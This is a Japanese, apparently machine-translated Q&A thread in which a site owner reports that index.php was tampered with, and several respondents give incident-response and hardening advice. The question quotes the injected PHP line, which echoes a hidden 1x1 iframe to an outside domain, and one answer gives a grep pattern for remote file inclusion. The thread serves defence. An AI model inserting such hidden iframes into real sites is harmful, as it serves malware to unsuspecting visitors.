web-dev-qa-db-ja.com

phpサイト改ざん

重複の可能性:
私のサーバーは緊急にハッキングされました

誰かが私たちのサイトに侵入し、メインページ(index.php)に次の行を入れています::次のコードでは、bottom.phpは私たち自身のファイルであり、侵入者は「include_once」コードの間に_"echo <iframe .... >;"_行を入れています。

<?include_once('bottom.php'); echo "<iframe src=\"http://clydaib.net/?click=86B26\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; ?>

この不法侵入を防ぐために私を助けてください。

PHPバージョン5.2.9、システム:Linux hansens 2.4.32-grsec-opteron-peon-1.1.1#1SMP金12月21日15:45:17PST 2007 i686

3
jimit

まだ行っていない場合、最初にすべきことは、原因を特定する間、現実的に可能な限りサーバーをロックダウンすることです。理想的な世界では、何が起こっているのかを知りながら、マシンをオフラインにします。

これの根本的な原因が何であったかを判断してみてください(駄洒落を許してください)。これがhttpに対するある種の攻撃である場合は、それがどこから来たのか、そして他に何が危険にさらされているのかを調べてください。これはボックス全体の妥協案でしょうか?

カーネルは約2年前のもので、PHPはそのブランチの最新ではありません。Apacheのインストールも最新ではないと思います。インストールされているCMSタイプのパッケージを使用していますか?サイト?それは最新ですか?インストールディレクトリを削除しましたか?ファイルの権限は何ですか?

それが私だった場合:

  1. マシンをオフラインにします
  2. 問題が含まれていることを確認します(おそらく再インストールしてください)
  3. ソフトウェアが最新であり、すべての既知のセキュリティホールがカバーされていることを確認します
  4. 正常なバックアップからコンテンツを復元します(バックアップがありますよね?)
  5. Tripwireのようなものを見てください

これはあなたの問題に対する完全な過剰反応かもしれませんが、「改ざん」の規模を知るまで、それをどこまで進めるかはわかりません。

2
CK.

まず、index.phpに関するFTP転送ログを確認し、接続のIPを確認します(中国、ロシアなどの外国からのものか)。trueの場合は、FTPパスワードを変更し、サイトとマルウェアをクリーンアップします。パスワードが使用/保存されたすべてのPCをスキャンします。マルウェアが保存されたパスワードを盗んだり、キーロガーを含めたりすることは非常に一般的です。キーロガーは侵入者に送信され、サイトにマルウェアを配布/ホストさせるために使用されます。また、FTPはすべてのパスワードをプレーンテキストで送信するため、wifiやその他の信頼できないネットワークを開いて使用しないでください。

それが機能しない場合は、サイトで次のことを確認してください。a)ファイルアップロードスクリプト。ファイルパス/パス検証を確認します。また、拡張子だけでなく、ファイルの種類が実際に検証されていることを確認してください。 Apache mod mimeには安全でない「機能」があるため、evilscript.php.gifなどのファイルはphpとして実行されます。参照:

「複数の拡張子を持つファイルがMIMEタイプとハンドラーの両方に関連付けられる場合は注意が必要です。これにより、通常、リクエストはハンドラーに関連付けられたモジュールによって行われます。たとえば、.imap拡張子がにマップされている場合ハンドラーimap-file(mod_imapから)と.html拡張子がMIMEタイプtext/htmlにマップされると、ファイルworld.imap.htmlはimap-fileハンドラーとtext/htmlMIMEタイプの両方に関連付けられます。 。処理されると、imap-fileハンドラーが使用されるため、mod_imapイメージマップファイルとして扱われます。」

解決策:アップロードされたファイルが移動されるディレクトリでphpを無効にします。

b)include | require(_once)。これらはリモートファイルインクルードに使用できるため、攻撃者はphpスクリプトを記述できます。このスクリプトはサーバーで実行され、ファイルを変更/削除できます。 include($ _GET | $ _POST | $ _COOKIE | $ _REQUEST | $ _SERVER)(。?*)のようなものを探します。解決策:サイトで必要がない場合は、remote_fopenを無効にします。それ以外の場合は、同じ適切な入力検証を行います(これは正しいことです:)。また、register_globalsを無効にすることをお勧めします。

c)評価されたユーザー入力/リモートファイル。ユーザー入力はデータベースに常駐できることに注意してください。

また、アップロードされたバックドア、いわゆる「シェル」についてサイトを確認してください。最も安全な方法は、既知の安全なバックアップから復元することです:)

1
Kristaps

これを行うには多くの方法があります。メインページまたは(別の)入力フィールドに、エクスプロイトの試みに対して誤って解析される可能性のある入力フィールドはありますか?

まず、PHPファイルをWebサーバーで読み取り可能にしますが、書き込み可能ではありません。次に、さまざまな入力フィールドで悪用の可能性を確認します。

0
olefebvre

最近、マルウェアが保存されたパスワードを盗み(ほとんどの場合、Total Commanderから)、それらの資格情報をコマンドセンターに送信することで非常に人気があります。後で他のマシンでftp経由で接続し、index.php/htmlをダウンロードして、悪意のあるjs/phpを追加します。すべて自動化されています。

0
pQd

ApacheのWebアプリへの攻撃を制限する方法は、Apacheのmod_securityをロードして微調整することです。

リンク:これを見てください mod_securityの紹介 記事

0
drAlberT